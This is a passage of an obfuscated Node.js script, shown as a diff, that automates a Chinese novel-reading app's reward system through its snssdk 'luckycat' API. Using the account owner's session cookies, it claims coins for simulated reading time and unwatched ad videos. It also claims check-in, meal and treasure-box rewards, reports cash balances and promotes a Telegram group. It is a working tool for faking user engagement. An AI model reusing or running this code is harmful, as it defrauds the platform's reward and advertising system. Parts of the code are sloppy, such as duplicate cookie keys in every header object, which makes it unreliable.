12 && (this.ydsc = "30m", await this.readtime()); + } else { + if (_0x52f516.profit_desc == "阅读60分钟" && _0x52f516.completed == false) { + nowhour >= 12 && nowhour < 13 && (this.ydsc = "60m", await this.readtime()); + } else { + if (_0x52f516.profit_desc == "阅读120分钟" && _0x52f516.completed == false) { + nowhour >= 13 && nowhour < 14 && (this.ydsc = "120m", await this.readtime()); + } else { + _0x52f516.profit_desc == "阅读180分钟" && _0x52f516.completed == false && nowhour >= 14 && nowhour < 15 && (this.ydsc = "180m", await this.readtime()); + } + } + } + } + } + } + } + } + } + } else { + console.log("【" + this.name + "】未获取到任务列表,请稍后重试"); + } + } + async openbox() { + let _0x5313ce = times(13), + _0x55da39 = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x4a331a = "{}", + _0x47a43c = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/treasure_task?aid=1967&ssmix=a&os_api=30&os_version=11&manifest_version_code=340&update_version_code=34032&_rticket=" + _0x5313ce + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1&luckycat_version_name=3.0.0-rc.33&luckycat_version_code=300033&status_bar_height=39&new_bookshelf=true", _0x55da39, _0x4a331a); + _0x47a43c.err_no == 0 ? (console.log("【" + this.name + "】开宝箱成功,获得" + _0x47a43c.data.amount + "金币"), await wait(RT(20000, 30000)), await this.boxvideo()) : console.log("【" + this.name + "】 开宝箱结果" + _0x47a43c.err_tips); + } + async boxvideo() { + let _0x47fb2c = times(13), + _0x1fdc7f = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x41ca5d = "{\"from\":\"gold_coin_reward_dialog_open_treasure\"}", + _0x1811b0 = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/excitation_ad_treasure_box?aid=1967&ssmix=a&os_api=30&os_version=11&manifest_version_code=340&update_version_code=34032&_rticket=" + _0x47fb2c + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1&luckycat_version_name=3.0.0-rc.33&luckycat_version_code=300033&status_bar_height=39&new_bookshelf=true", _0x1fdc7f, _0x41ca5d); + _0x1811b0.err_no == 0 ? (console.log("【" + this.name + "】看宝箱视频成功,获得" + _0x1811b0.data.amount + "金币"), await wait(RT(20000, 25000))) : console.log("【" + this.name + "】看宝箱视频结果" + _0x1811b0.err_tips); + } + async viewvideo() { + let _0x4922fa = times(13), + _0x32718a = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x6a6257 = "{\"from\":\"task_list\"}", + _0x35177e = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/excitation_ad?aid=1967&ssmix=a&os_api=30&os_version=11&manifest_version_code=340&update_version_code=34032&_rticket=" + _0x4922fa + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1&luckycat_version_name=3.0.0-rc.33&luckycat_version_code=300033&status_bar_height=39&new_bookshelf=true", _0x32718a, _0x6a6257); + _0x35177e.err_no == 0 ? (console.log("【" + this.name + "】看视频成功,获得" + _0x35177e.data.amount + "金币"), await wait(RT(20000, 30000))) : console.log("【" + this.name + "】 看视频结果" + _0x35177e.err_tips); + } + async eat() { + let _0x12caa5 = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x2a8058 = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/meal?_request_from=web&new_bookshelf=false&ac=wifi&aid=1967&app_name=novelapp&version_code=300&version_name=3.0.0.32&device_platform=android&ssmix=a&device_brand=Xiaomi&language=zh&os_api=30&os_version=11&openudid=c1ad0d7fd6238e3a&manifest_version_code=300&resolution=1440*3007&dpi=560&update_version_code=30032&_rticket=1675348202727&gender=0&comment_tag_c=3&vip_state=0&category_style=1", _0x12caa5, this.meal); + _0x2a8058.err_no == 0 ? (console.log("【" + this.name + "】领取吃饭补贴成功,获得" + _0x2a8058.data.amount + "金币"), await wait(RT(20000, 30000)), await this.eatvideo()) : console.log("【" + this.name + "】领取吃饭补贴结果" + _0x2a8058.err_tips); + } + async eatvideo() { + let _0x17101f = times(13), + _0x585809 = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x4bfd36 = "{\"from\":\"gold_coin_reward_dialog_open_treasure\"}", + _0x5c0f98 = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/excitation_ad_meal?aid=1967&ssmix=a&os_api=30&os_version=11&manifest_version_code=340&update_version_code=34032&_rticket=" + _0x17101f + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1&luckycat_version_name=3.0.0-rc.33&luckycat_version_code=300033&status_bar_height=39&new_bookshelf=true", _0x585809, _0x4bfd36); + _0x5c0f98.err_no == 0 ? console.log("【" + this.name + "】看吃饭补贴视频成功,获得" + _0x5c0f98.data.amount + "金币") : console.log("【" + this.name + "】看吃饭补贴视频结果" + _0x5c0f98.err_tips); + } + async signin() { + let _0x4233e6 = times(13), + _0x9aa5ca = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x227fc8 = "{\"from\":\"gold_coin_reward_dialog_open_treasure\"}", + _0x4245ff = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/sign_in?aid=1967&ssmix=a&os_api=30&os_version=11&manifest_version_code=340&update_version_code=34032&_rticket=" + _0x4233e6 + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1&luckycat_version_name=3.0.0-rc.33&luckycat_version_code=300033&status_bar_height=39&new_bookshelf=true", _0x9aa5ca, _0x227fc8); + _0x4245ff.err_no == 0 ? (console.log("【" + this.name + "】签到成功,获得" + _0x4245ff.data.amount + "金币"), await this.signinvideo()) : console.log("【" + this.name + "】领取签到奖励结果" + _0x4245ff.err_tips); + } + async signinvideo() { + let _0xfa1120 = times(13), + _0x5a45f2 = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x3d5e66 = "{\"from\":\"gold_coin_reward_dialog_open_treasure\"}", + _0x36014f = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/excitation_ad_signin?aid=1967&ssmix=a&os_api=30&os_version=11&manifest_version_code=340&update_version_code=34032&_rticket=" + _0xfa1120 + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1&luckycat_version_name=3.0.0-rc.33&luckycat_version_code=300033&status_bar_height=39&new_bookshelf=true", _0x5a45f2, _0x3d5e66); + _0x36014f.err_no == 0 ? console.log("【" + this.name + "】看签到激励视频成功,获得" + _0x36014f.data.amount + "金币") : console.log("【" + this.name + "】看签到激励视频结果" + _0x36014f.err_tips); + } + async readtime() { + let _0xa7422e = times(13), + _0x58ef43 = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0x459326 = "{}", + _0x314873 = await task("post", "https://i-hl.snssdk.com/luckycat/novel/v1/task/done/daily_read_" + this.ydsc + "?iid=" + this.iid + "&device_id=" + this.deviceid + "&ac=wifi&aid=1967&app_name=novelapp&version_code=330&version_name=3.3.0.32&device_platform=android&ssmix=a&language=zh&os_api=30&os_version=11&manifest_version_code=330&resolution=1440*3007&dpi=560&update_version_code=33032&_rticket=" + _0xa7422e + "&_rticket=" + (_0xa7422e + 35000000) + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1&luckycat_version_name=3.0.0-rc.26&luckycat_version_code=300026&status_bar_height=39&new_bookshelf=true ", _0x58ef43, _0x459326); + _0x314873.err_no == 0 ? console.log("【" + this.name + "】模拟阅读" + this.ydsc + "成功,获得" + _0x314873.data.amount + "金币") : console.log("【" + this.name + "】模拟阅读" + this.ydsc + "结果" + _0x314873.err_tips); + } + async cash() { + let _0x1f63db = times(13), + _0x1f9caa = { + cookie: "uid_tt=" + this.p, + cookie: "sid_tt=" + this.p, + cookie: "sessionid=" + this.p, + cookie: "sessionid_ss=" + this.p, + accept: "application/json; charset=utf-8" + }, + _0xd25a55 = await task("get", "https://i.snssdk.com/luckycat/novel/v1/user/info?check_idfa=false&code=0&ac=wifi&channel=wandoujia&aid=1967&app_name=novelapp&device_platform=android&ssmix=a&device_brand=Xiaomi&language=zh&os_api=30&_rticket=" + _0x1f63db + "&gender=0&comment_tag_c=3&vip_state=0&category_style=1", _0x1f9caa); + _0xd25a55.err_no == 0 && console.log("【" + this.name + "】==>现金余额" + _0xd25a55.data.income_info_list[0].amount / 100 + " ==>金币" + _0xd25a55.data.income_info_list[1].amount); + } +} +!(async () => { + console.log("蛋炒饭美食交流群:https://t.me/+xjTie4yvzm83OTI9"); + console.log(NAME); + checkEnv(); + for (let _0x46f831 of userList) { + await _0x46f831.userinfo(); + } + let _0xaf6a7d = userList.filter(_0x59529e => _0x59529e.logs == true); + if (_0xaf6a7d.length == 0) { + console.log(NAME + " 登录失败,检查你的cookie"); + return; + } + for (let _0x10304f of _0xaf6a7d) { + await _0x10304f.tasklist(); + await _0x10304f.openbox(); + await _0x10304f.cash(); + } +})().catch(_0x2ab00a => { + console.log(_0x2ab00a); +}).finally(() => {}); +function RT(_0x4cdbb1, _0x2eeb4b) { + return Math.round(Math.random() * (_0x2eeb4b - _0x4cdbb1) + _0x4cdbb1); +} +function times(_0x566afd) { + if (_0x566afd == 10) { + let _0x4e752a = Math.round(new Date().getTime() / 1000).toString(); + return _0x4e752a; + } else { + let _0x1f09c8 = new Date().getTime(); + return _0x1f09c8; + } +} +async function showmsg(_0x1143db) { + var _0x3be1d8 = require("./sendNotify"); + await _0x3be1d8.sendNotify(NAME, _0x1143db); +} +async function task(_0x344275, _0x1a243d, _0x3d8e0d, _0x3c7ba9) { + _0x344275 == "delete" ? _0x344275 = _0x344275.toUpperCase() : _0x344275 = _0x344275; + const _0x40e5f0 = require("request"); + _0x344275 == "post" && (delete _0x3d8e0d["content-type"], delete _0x3d8e0d["Content-type"], delete _0x3d8e0d["content-Type"], safeGet(_0x3c7ba9) ? _0x3d8e0d["Content-Type"] = "application/json;charset=UTF-8" : _0x3d8e0d["Content-Type"] = "application/x-www-form-urlencoded", _0x3c7ba9 && (_0x3d8e0d["Content-Length"] = lengthInUtf8Bytes(_0x3c7ba9))); + _0x3d8e0d.Host = _0x1a243d.replace("//", "/").split("/")[1]; + if (_0x344275.indexOf("T") < 0) { + var _0x99a4d4 = { + url: _0x1a243d, + headers: _0x3d8e0d, + body: _0x3c7ba9 + }; + } else { + var _0x99a4d4 = { + url: _0x1a243d, + headers: _0x3d8e0d, + form: JSON.parse(_0x3c7ba9) + }; + } + return new Promise(async _0x4df902 => { + _0x40e5f0[_0x344275.toLowerCase()](_0x99a4d4, (_0x3656f7, _0x3d4b9d, _0x43dd0b) => { + try { + LOGS == 1 && (console.log("==================请求=================="), console.log(_0x99a4d4), console.log("==================返回=================="), console.log(JSON.parse(_0x43dd0b))); + } catch (_0x2684a1) {} finally { + !_0x3656f7 ? safeGet(_0x43dd0b) ? _0x43dd0b = JSON.parse(_0x43dd0b) : _0x43dd0b = _0x43dd0b : _0x43dd0b = _0x1a243d + " API请求失败,请检查网络重试\n" + _0x3656f7; + return _0x4df902(_0x43dd0b); + } + }); + }); +} +function SJS(_0x401d71) { + _0x401d71 = _0x401d71 || 32; + var _0x3fd4c5 = "1234567890", + _0x5c0bba = _0x3fd4c5.length, + _0xef67f2 = ""; + for (i = 0; i < _0x401d71; i++) { + _0xef67f2 += _0x3fd4c5.charAt(Math.floor(Math.random() * _0x5c0bba)); + } + return _0xef67f2; +} +function SJSxx(_0x3ac641) { + _0x3ac641 = _0x3ac641 || 32; + var _0x328bc7 = "abcdefghijklmnopqrstuvwxyz1234567890", + _0x5645a5 = _0x328bc7.length, + _0x2f66e4 = ""; + for (i = 0; i < _0x3ac641; i++) { + _0x2f66e4 += _0x328bc7.charAt(Math.floor(Math.random() * _0x5645a5)); + } + return _0x2f66e4; +} +function safeGet(_0x1ae70d) { + try { + if (typeof JSON.parse(_0x1ae70d) == "object") { + return true; + } + } catch (_0x3d798f) { + return false; + } +} +function lengthInUtf8Bytes(_0x87b70c) { + let _0x59c46b = encodeURIComponent(_0x87b70c).match(/%[89ABab]/g); + return _0x87b70c.length + (_0x59c46b ? _0x59c46b.length : 0); +} +async function checkEnv() { + let _0x3d1707 = process.env[VALY] || CK, + _0x45e36f = 0; + if (_0x3d1707) { + for (let _0x20a5a3 of _0x3d1707.split("@").filter(_0x31324d => !!_0x31324d)) { + userList.push(new Bar(_0x20a5a3)); + } + _0x45e36f = userList.length; + } else { + console.log("\n【" + NAME + "】:未填写变量: " + VALY); + } + console.log("共找到" + _0x45e36f + "个账号"); + return userList; +} +function wait(_0x5ad751) { + return new Promise(_0x18d31b => setTimeout(_0x18d31b, _0x5ad751)); +} +function stringToBase64(_0x531a65) { + var _0x12e5c2 = Buffer.from(_0x531a65).toString("base64"); + return _0x12e5c2; +} +function AESEncrypt(_0x51526a, _0x425430, _0x12d122, _0x412596, _0x51e0b8, _0x85cf4b) { + const _0xcec02b = require("crypto-js"), + _0x1e4633 = _0xcec02b.enc.Utf8.parse(_0x412596), + _0x50eeef = _0xcec02b.enc.Utf8.parse(_0x85cf4b), + _0x248529 = _0xcec02b.enc.Utf8.parse(_0x51e0b8), + _0x2044e9 = _0xcec02b[_0x51526a].encrypt(_0x1e4633, _0x248529, { + iv: _0x50eeef, + mode: _0xcec02b.mode[_0x425430], + padding: _0xcec02b.pad[_0x12d122] + }); + return _0x2044e9.toString(); +} +function AESDecrypt(_0x3c0382, _0x50a965, _0x22b54c, _0x48e62a, _0x151c99, _0x1fb6ac) { + const _0xcf1881 = require("crypto-js"), + _0x1f2956 = _0xcf1881.enc.Utf8.parse(_0x1fb6ac), + _0x4358a8 = _0xcf1881.enc.Utf8.parse(_0x151c99), + _0x4b4f71 = _0xcf1881[_0x3c0382].decrypt(_0x48e62a, _0x4358a8, { + iv: _0x1f2956, + mode: _0xcf1881.mode[_0x50a965], + padding: _0xcf1881.pad[_0x22b54c] + }); + return _0x4b4f71.toString(_0xcf1881.enc.Utf8); +} +function RSA(_0x2c8c59, _0x17e0ad) { + const _0x5b34e2 = require("node-rsa"); + let _0x1f209c = new _0x5b34e2("-----BEGIN PUBLIC KEY-----\n" + _0x17e0ad + "\n-----END PUBLIC KEY-----"); + _0x1f209c.setOptions({ + encryptionScheme: "pkcs1" + }); + return _0x1f209c.encrypt(_0x2c8c59, "base64", "utf8"); +} +function SHA1_Encrypt(_0x3dd9ec) { + return CryptoJS.SHA1(_0x3dd9ec).toString(); +} +function SHA256(_0x471450) { + const _0x2c0e59 = 8, + _0x30f712 = 0; + function _0x51b769(_0xbd11ad, _0x244959) { + const _0x4a1fe8 = (65535 & _0xbd11ad) + (65535 & _0x244959); + return (_0xbd11ad >> 16) + (_0x244959 >> 16) + (_0x4a1fe8 >> 16) << 16 | 65535 & _0x4a1fe8; + } + function _0x5c091f(_0x39120e, _0xff46eb) { + return _0x39120e >>> _0xff46eb | _0x39120e << 32 - _0xff46eb; + } + function _0x3ba2d6(_0x55fcb4, _0x2d9b24) { + return _0x55fcb4 >>> _0x2d9b24; + } + function _0x10eee3(_0x965663, _0x4a4e7a, _0x1dc654) { + return _0x965663 & _0x4a4e7a ^ ~_0x965663 & _0x1dc654; + } + function _0x6d2b69(_0x36a45b, _0x1a71dd, _0x5e41ab) { + return _0x36a45b & _0x1a71dd ^ _0x36a45b & _0x5e41ab ^ _0x1a71dd & _0x5e41ab; + } + function _0x29908d(_0x514c73) { + return _0x5c091f(_0x514c73, 2) ^ _0x5c091f(_0x514c73, 13) ^ _0x5c091f(_0x514c73, 22); + } + function _0x213c68(_0x37d090) { + return _0x5c091f(_0x37d090, 6) ^ _0x5c091f(_0x37d090, 11) ^ _0x5c091f(_0x37d090, 25); + } + function _0x81b8ab(_0x2bd1bb) { + return _0x5c091f(_0x2bd1bb, 7) ^ _0x5c091f(_0x2bd1bb, 18) ^ _0x3ba2d6(_0x2bd1bb, 3); + } + return function (_0x11aede) { + const _0x947ac9 = _0x30f712 ? "0123456789ABCDEF" : "0123456789abcdef"; + let _0x2b7509 = ""; + for (let _0x395b43 = 0; _0x395b43 < 4 * _0x11aede.length; _0x395b43++) { + _0x2b7509 += _0x947ac9.charAt(_0x11aede[_0x395b43 >> 2] >> 8 * (3 - _0x395b43 % 4) + 4 & 15) + _0x947ac9.charAt(_0x11aede[_0x395b43 >> 2] >> 8 * (3 - _0x395b43 % 4) & 15); + } + return _0x2b7509; + }(function (_0x5ad8d1, _0x4322b9) { + const _0x2f6843 = [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298], + _0x40a36c = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225], + _0x199d1f = new Array(64); + let _0x4e98f2, _0x4fa834, _0x34f988, _0x1edb33, _0x4aca97, _0x3a2903, _0x5d3c0f, _0x5205c4, _0x3b0e71, _0x2348be, _0xdb5de6, _0x1a9ab5; + for (_0x5ad8d1[_0x4322b9 >> 5] |= 128 << 24 - _0x4322b9 % 32, _0x5ad8d1[15 + (_0x4322b9 + 64 >> 9 << 4)] = _0x4322b9, _0x3b0e71 = 0; _0x3b0e71 < _0x5ad8d1.length; _0x3b0e71 += 16) { + for (_0x4e98f2 = _0x40a36c[0], _0x4fa834 = _0x40a36c[1], _0x34f988 = _0x40a36c[2], _0x1edb33 = _0x40a36c[3], _0x4aca97 = _0x40a36c[4], _0x3a2903 = _0x40a36c[5], _0x5d3c0f = _0x40a36c[6], _0x5205c4 = _0x40a36c[7], _0x2348be = 0; _0x2348be < 64; _0x2348be++) { + _0x199d1f[_0x2348be] = _0x2348be < 16 ? _0x5ad8d1[_0x2348be + _0x3b0e71] : _0x51b769(_0x51b769(_0x51b769(_0x5c091f(_0x5c7d3d = _0x199d1f[_0x2348be - 2], 17) ^ _0x5c091f(_0x5c7d3d, 19) ^ _0x3ba2d6(_0x5c7d3d, 10), _0x199d1f[_0x2348be - 7]), _0x81b8ab(_0x199d1f[_0x2348be - 15])), _0x199d1f[_0x2348be - 16]); + _0xdb5de6 = _0x51b769(_0x51b769(_0x51b769(_0x51b769(_0x5205c4, _0x213c68(_0x4aca97)), _0x10eee3(_0x4aca97, _0x3a2903, _0x5d3c0f)), _0x2f6843[_0x2348be]), _0x199d1f[_0x2348be]); + _0x1a9ab5 = _0x51b769(_0x29908d(_0x4e98f2), _0x6d2b69(_0x4e98f2, _0x4fa834, _0x34f988)); + _0x5205c4 = _0x5d3c0f; + _0x5d3c0f = _0x3a2903; + _0x3a2903 = _0x4aca97; + _0x4aca97 = _0x51b769(_0x1edb33, _0xdb5de6); + _0x1edb33 = _0x34f988; + _0x34f988 = _0x4fa834; + _0x4fa834 = _0x4e98f2; + _0x4e98f2 = _0x51b769(_0xdb5de6, _0x1a9ab5); + } + _0x40a36c[0] = _0x51b769(_0x4e98f2, _0x40a36c[0]); + _0x40a36c[1] = _0x51b769(_0x4fa834, _0x40a36c[1]); + _0x40a36c[2] = _0x51b769(_0x34f988, _0x40a36c[2]); + _0x40a36c[3] = _0x51b769(_0x1edb33, _0x40a36c[3]); + _0x40a36c[4] = _0x51b769(_0x4aca97, _0x40a36c[4]); + _0x40a36c[5] = _0x51b769(_0x3a2903, _0x40a36c[5]); + _0x40a36c[6] = _0x51b769(_0x5d3c0f, _0x40a36c[6]); + _0x40a36c[7] = _0x51b769(_0x5205c4, _0x40a36c[7]); + } + var _0x5c7d3d; + return _0x40a36c; + }(function (_0x197a4c) { + const _0x5921a7 = [], + _0x337165 = (1 << _0x2c0e59) - 1; + for (let _0x222d60 = 0; _0x222d60 < _0x197a4c.length * _0x2c0e59; _0x222d60 += _0x2c0e59) { + _0x5921a7[_0x222d60 >> 5] |= (_0x197a4c.charCodeAt(_0x222d60 / _0x2c0e59) & _0x337165) << 24 - _0x222d60 % 32; + } + return _0x5921a7; + }(_0x471450 = function (_0x874f94) { + _0x874f94 = _0x874f94.replace(/\r\n/g, "\n"); + let _0x377884 = ""; + for (let _0x1fcc69 = 0; _0x1fcc69 < _0x874f94.length; _0x1fcc69++) { + const _0x95668a = _0x874f94.charCodeAt(_0x1fcc69); + _0x95668a < 128 ? _0x377884 += String.fromCharCode(_0x95668a) : _0x95668a > 127 && _0x95668a < 2048 ? (_0x377884 += String.fromCharCode(_0x95668a >> 6 | 192), _0x377884 += String.fromCharCode(63 & _0x95668a | 128)) : (_0x377884 += String.fromCharCode(_0x95668a >> 12 | 224), _0x377884 += String.fromCharCode(_0x95668a >> 6 & 63 | 128), _0x377884 += String.fromCharCode(63 & _0x95668a | 128)); + } + return _0x377884; + }(_0x471450)), _0x471450.length * _0x2c0e59)); +} +function MD5Encrypt(_0x5e4e3f) { + function _0x281fb1(_0x4b9627, _0x18e9bc) { + return _0x4b9627 << _0x18e9bc | _0x4b9627 >>> 32 - _0x18e9bc; + } + function _0x17df82(_0x13d5a8, _0x495245) { + var _0x3e0200, _0x29d8a0, _0x4a2b14, _0x277a34, _0x4483ad; + _0x4a2b14 = 2147483648 & _0x13d5a8; + _0x277a34 = 2147483648 & _0x495245; + _0x3e0200 = 1073741824 & _0x13d5a8; + _0x29d8a0 = 1073741824 & _0x495245; + _0x4483ad = (1073741823 & _0x13d5a8) + (1073741823 & _0x495245); + return _0x3e0200 & _0x29d8a0 ? 2147483648 ^ _0x4483ad ^ _0x4a2b14 ^ _0x277a34 : _0x3e0200 | _0x29d8a0 ? 1073741824 & _0x4483ad ? 3221225472 ^ _0x4483ad ^ _0x4a2b14 ^ _0x277a34 : 1073741824 ^ _0x4483ad ^ _0x4a2b14 ^ _0x277a34 : _0x4483ad ^ _0x4a2b14 ^ _0x277a34; + } + function _0x380f30(_0x2cdd60, _0x2097b9, _0x1c76c2, _0x56dabc, _0x11be74, _0x520964, _0x10c05c) { + var _0x448b56, _0x3467b4; + _0x2cdd60 = _0x17df82(_0x2cdd60, _0x17df82(_0x17df82((_0x448b56 = _0x2097b9) & (_0x3467b4 = _0x1c76c2) | ~_0x448b56 & _0x56dabc, _0x11be74), _0x10c05c)); + return _0x17df82(_0x281fb1(_0x2cdd60, _0x520964), _0x2097b9); + } + function _0x3a2fea(_0x3496d2, _0xa835f4, _0x4b0689, _0x28f809, _0x31d708, _0xe34261, _0x142941) { + var _0x4fb09f, _0x5693de, _0x717cb9; + _0x3496d2 = _0x17df82(_0x3496d2, _0x17df82(_0x17df82((_0x4fb09f = _0xa835f4, _0x5693de = _0x4b0689, _0x4fb09f & (_0x717cb9 = _0x28f809) | _0x5693de & ~_0x717cb9), _0x31d708), _0x142941)); + return _0x17df82(_0x281fb1(_0x3496d2, _0xe34261), _0xa835f4); + } + function _0x287e85(_0x594a65, _0x105999, _0x133c00, _0x328af0, _0x5f0740, _0x1cbe3b, _0x471a72) { + var _0x49bf36, _0x207593; + _0x594a65 = _0x17df82(_0x594a65, _0x17df82(_0x17df82((_0x49bf36 = _0x105999) ^ (_0x207593 = _0x133c00) ^ _0x328af0, _0x5f0740), _0x471a72)); + return _0x17df82(_0x281fb1(_0x594a65, _0x1cbe3b), _0x105999); + } + function _0x24aacc(_0x5c2450, _0x1e6c02, _0x14a29b, _0x1f0edb, _0x492303, _0x3a47d7, _0x483035) { + var _0x487ba7, _0x32e18d; + _0x5c2450 = _0x17df82(_0x5c2450, _0x17df82(_0x17df82((_0x487ba7 = _0x1e6c02, (_0x32e18d = _0x14a29b) ^ (_0x487ba7 | ~_0x1f0edb)), _0x492303), _0x483035)); + return _0x17df82(_0x281fb1(_0x5c2450, _0x3a47d7), _0x1e6c02); + } + function _0x5605ed(_0x3bb9c6) { + var _0x49292b, + _0x11a540 = "", + _0x31492e = ""; + for (_0x49292b = 0; 3 >= _0x49292b; _0x49292b++) { + _0x11a540 += (_0x31492e = "0" + (_0x3bb9c6 >>> 8 * _0x49292b & 255).toString(16)).substr(_0x31492e.length - 2, 2); + } + return _0x11a540; + } + var _0x5601fb, + _0x79644f, + _0x517003, + _0x5c3e9a, + _0x2a131a, + _0xc0171d, + _0x5b4dca, + _0x3cc98c, + _0x56aa41, + _0x4a5aff = []; + for (_0x4a5aff = function (_0x265887) { + for (var _0x15bbd8, _0x545869 = _0x265887.length, _0x1de657 = _0x545869 + 8, _0x4cbdc8 = 16 * ((_0x1de657 - _0x1de657 % 64) / 64 + 1), _0x1cd0e5 = Array(_0x4cbdc8 - 1), _0x3843ad = 0, _0x106475 = 0; _0x545869 > _0x106475;) { + _0x15bbd8 = (_0x106475 - _0x106475 % 4) / 4; + _0x3843ad = _0x106475 % 4 * 8; + _0x1cd0e5[_0x15bbd8] = _0x1cd0e5[_0x15bbd8] | _0x265887.charCodeAt(_0x106475) << _0x3843ad; + _0x106475++; + } + _0x15bbd8 = (_0x106475 - _0x106475 % 4) / 4; + _0x3843ad = _0x106475 % 4 * 8; + _0x1cd0e5[_0x15bbd8] = _0x1cd0e5[_0x15bbd8] | 128 << _0x3843ad; + _0x1cd0e5[_0x4cbdc8 - 2] = _0x545869 << 3; + _0x1cd0e5[_0x4cbdc8 - 1] = _0x545869 >>> 29; + return _0x1cd0e5; + }(_0x5e4e3f = function (_0x3c80e0) { + _0x3c80e0 = _0x3c80e0.replace(/\r\n/g, "\n"); + for (var _0xa11f9f = "", _0x1c591b = 0; _0x1c591b < _0x3c80e0.length; _0x1c591b++) { + var _0x226957 = _0x3c80e0.charCodeAt(_0x1c591b); + 128 > _0x226957 ? _0xa11f9f += String.fromCharCode(_0x226957) : _0x226957 > 127 && 2048 > _0x226957 ? (_0xa11f9f += String.fromCharCode(_0x226957 >> 6 | 192), _0xa11f9f += String.fromCharCode(63 & _0x226957 | 128)) : (_0xa11f9f += String.fromCharCode(_0x226957 >> 12 | 224), _0xa11f9f += String.fromCharCode(_0x226957 >> 6 & 63 | 128), _0xa11f9f += String.fromCharCode(63 & _0x226957 | 128)); + } + return _0xa11f9f; + }(_0x5e4e3f)), _0xc0171d = 1732584193, _0x5b4dca = 4023233417, _0x3cc98c = 2562383102, _0x56aa41 = 271733878, _0x5601fb = 0; _0x5601fb < _0x4a5aff.length; _0x5601fb += 16) { + _0x79644f = _0xc0171d; + _0x517003 = _0x5b4dca; + _0x5c3e9a = _0x3cc98c; + _0x2a131a = _0x56aa41; + _0xc0171d = _0x380f30(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 0], 7, 3614090360); + _0x56aa41 = _0x380f30(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 1], 12, 3905402710); + _0x3cc98c = _0x380f30(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 2], 17, 606105819); + _0x5b4dca = _0x380f30(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 3], 22, 3250441966); + _0xc0171d = _0x380f30(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 4], 7, 4118548399); + _0x56aa41 = _0x380f30(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 5], 12, 1200080426); + _0x3cc98c = _0x380f30(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 6], 17, 2821735955); + _0x5b4dca = _0x380f30(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 7], 22, 4249261313); + _0xc0171d = _0x380f30(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 8], 7, 1770035416); + _0x56aa41 = _0x380f30(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 9], 12, 2336552879); + _0x3cc98c = _0x380f30(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 10], 17, 4294925233); + _0x5b4dca = _0x380f30(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 11], 22, 2304563134); + _0xc0171d = _0x380f30(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 12], 